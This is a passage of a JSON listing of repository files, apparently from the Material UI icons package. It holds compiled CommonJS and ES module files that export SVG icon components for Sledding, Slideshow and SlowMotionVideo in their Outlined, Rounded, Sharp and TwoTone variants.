    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'Sledding');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sledding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'Sledding');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m4.92 14.74c-.13.39-.55.61-.95.48l-2.61-.85-.46 1.43 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.36-1.12-.11-2.32-1.07-2.91-.32-.2-.45-.6-.3-.95.2-.44.71-.57 1.12-.31 1.52.95 2.25 2.85 1.68 4.62-.68 2.1-2.94 3.25-5.04 2.57L1.74 17.6c-.39-.13-.63-.54-.52-.93.12-.41.55-.63.95-.5l3.22 1.05.46-1.43-3.19-1.04c-.39-.13-.63-.54-.52-.93.12-.41.55-.63.95-.5l.91.28v-2.78c0-.8.48-1.52 1.21-1.84.75-.32 4.11-1.76 4.26-1.83.41-.18.89-.21 1.35-.04.91.34 1.37 1.36 1.07 2.28l-1.04 3.2 2.15-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.22.4c.4.12.61.54.48.94M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m4.92 14.74c-.13.39-.55.61-.95.48l-2.61-.85-.46 1.43 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.36-1.12-.11-2.32-1.07-2.91-.32-.2-.45-.6-.3-.95.2-.44.71-.57 1.12-.31 1.52.95 2.25 2.85 1.68 4.62-.68 2.1-2.94 3.25-5.04 2.57L1.74 17.6c-.39-.13-.63-.54-.52-.93.12-.41.55-.63.95-.5l3.22 1.05.46-1.43-3.19-1.04c-.39-.13-.63-.54-.52-.93.12-.41.55-.63.95-.5l.91.28v-2.78c0-.8.48-1.52 1.21-1.84.75-.32 4.11-1.76 4.26-1.83.41-.18.89-.21 1.35-.04.91.34 1.37 1.36 1.07 2.28l-1.04 3.2 2.15-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.22.4c.4.12.61.54.48.94M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m3.22 13.4 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.1.68 3.25 2.94 2.57 5.04s-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24L14.5 12zM6 14.25l.48.16.75-2.31.69-2.1-1.92.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m3.22 13.4 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.1.68 3.25 2.94 2.57 5.04s-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24L14.5 12zM6 14.25l.48.16.75-2.31.69-2.1-1.92.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SleddingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m8.8 15.74c-.68 2.1-2.94 3.25-5.04 2.57L1 17.36l.46-1.43 3.93 1.28.46-1.43-3.92-1.28.46-1.43L4 13.6V9.5l5.47-2.35c.39-.17.84-.21 1.28-.07.95.31 1.46 1.32 1.16 2.27l-1.05 3.24 2.14-.34c.89-.15 1.76.32 2.14 1.14l2.08 4.51 1.93.63-.46 1.43-3.32-1.08-.47 1.42 3.32 1.08c1.31.43 2.72-.29 3.15-1.61.43-1.31-.29-2.72-1.61-3.15l.46-1.43c2.11.69 3.27 2.95 2.58 5.05M6 14.25l1.01.33c-.22-.42-.28-.92-.12-1.4L7.92 10 6 10.82zm7.94 4.16-6.66-2.16-.46 1.43 6.66 2.16zm.69-1.36-1.18-2.56-3.97.89z\"\n}), 'SleddingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Slideshow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v8l5-4zm9-5H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'Slideshow');"
  },
  {
    "path": "packages/mui-icons-material/lib/Slideshow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v8l5-4zm9-5H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'Slideshow');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v8l5-4zm9-5H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'SlideshowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v8l5-4zm9-5H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'SlideshowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9.04v5.92c0 .42.48.65.81.39l3.7-2.96c.25-.2.25-.58 0-.78l-3.7-2.96c-.33-.26-.81-.03-.81.39M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'SlideshowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9.04v5.92c0 .42.48.65.81.39l3.7-2.96c.25-.2.25-.58 0-.78l-3.7-2.96c-.33-.26-.81-.03-.81.39M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'SlideshowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8v8l5-4zm11-5H3v18h18zm-2 16H5V5h14z\"\n}), 'SlideshowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8v8l5-4zm11-5H3v18h18zm-2 16H5V5h14z\"\n}), 'SlideshowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm5-11 5 4-5 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM10 8v8l5-4z\"\n}, \"1\")], 'SlideshowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlideshowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm5-11 5 4-5 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM10 8v8l5-4z\"\n}, \"1\")], 'SlideshowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8.5v7c0 .41.47.65.8.4l4.67-3.5c.27-.2.27-.6 0-.8L10.8 8.1c-.33-.25-.8-.01-.8.4m1-5.27c0-.64-.59-1.13-1.21-.99-1.12.26-2.18.7-3.12 1.3-.53.34-.61 1.1-.16 1.55.32.32.83.4 1.21.16.77-.49 1.62-.85 2.54-1.05.44-.1.74-.51.74-.97M5.1 6.51c-.46-.45-1.21-.38-1.55.16-.6.94-1.04 2-1.3 3.12-.14.62.34 1.21.98 1.21.45 0 .87-.3.96-.74.2-.91.57-1.77 1.05-2.53.26-.39.18-.9-.14-1.22M3.23 13c-.64 0-1.13.59-.99 1.21.26 1.12.7 2.17 1.3 3.12.34.54 1.1.61 1.55.16.32-.32.4-.83.15-1.21-.49-.76-.85-1.61-1.05-2.53-.09-.45-.5-.75-.96-.75m3.44 7.45c.95.6 2 1.04 3.12 1.3.62.14 1.21-.35 1.21-.98 0-.45-.3-.87-.74-.96-.91-.2-1.77-.57-2.53-1.05-.39-.24-.89-.17-1.21.16-.46.44-.39 1.19.15 1.53M22 12c0 4.73-3.3 8.71-7.73 9.74-.62.15-1.22-.34-1.22-.98 0-.46.31-.86.75-.97 3.55-.82 6.2-4 6.2-7.79s-2.65-6.97-6.2-7.79c-.44-.1-.75-.51-.75-.97 0-.64.6-1.13 1.22-.98C18.7 3.29 22 7.27 22 12\"\n}), 'SlowMotionVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8.5v7c0 .41.47.65.8.4l4.67-3.5c.27-.2.27-.6 0-.8L10.8 8.1c-.33-.25-.8-.01-.8.4m1-5.27c0-.64-.59-1.13-1.21-.99-1.12.26-2.18.7-3.12 1.3-.53.34-.61 1.1-.16 1.55.32.32.83.4 1.21.16.77-.49 1.62-.85 2.54-1.05.44-.1.74-.51.74-.97M5.1 6.51c-.46-.45-1.21-.38-1.55.16-.6.94-1.04 2-1.3 3.12-.14.62.34 1.21.98 1.21.45 0 .87-.3.96-.74.2-.91.57-1.77 1.05-2.53.26-.39.18-.9-.14-1.22M3.23 13c-.64 0-1.13.59-.99 1.21.26 1.12.7 2.17 1.3 3.12.34.54 1.1.61 1.55.16.32-.32.4-.83.15-1.21-.49-.76-.85-1.61-1.05-2.53-.09-.45-.5-.75-.96-.75m3.44 7.45c.95.6 2 1.04 3.12 1.3.62.14 1.21-.35 1.21-.98 0-.45-.3-.87-.74-.96-.91-.2-1.77-.57-2.53-1.05-.39-.24-.89-.17-1.21.16-.46.44-.39 1.19.15 1.53M22 12c0 4.73-3.3 8.71-7.73 9.74-.62.15-1.22-.34-1.22-.98 0-.46.31-.86.75-.97 3.55-.82 6.2-4 6.2-7.79s-2.65-6.97-6.2-7.79c-.44-.1-.75-.51-.75-.97 0-.64.6-1.13 1.22-.98C18.7 3.29 22 7.27 22 12\"\n}), 'SlowMotionVideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoSharp.js",
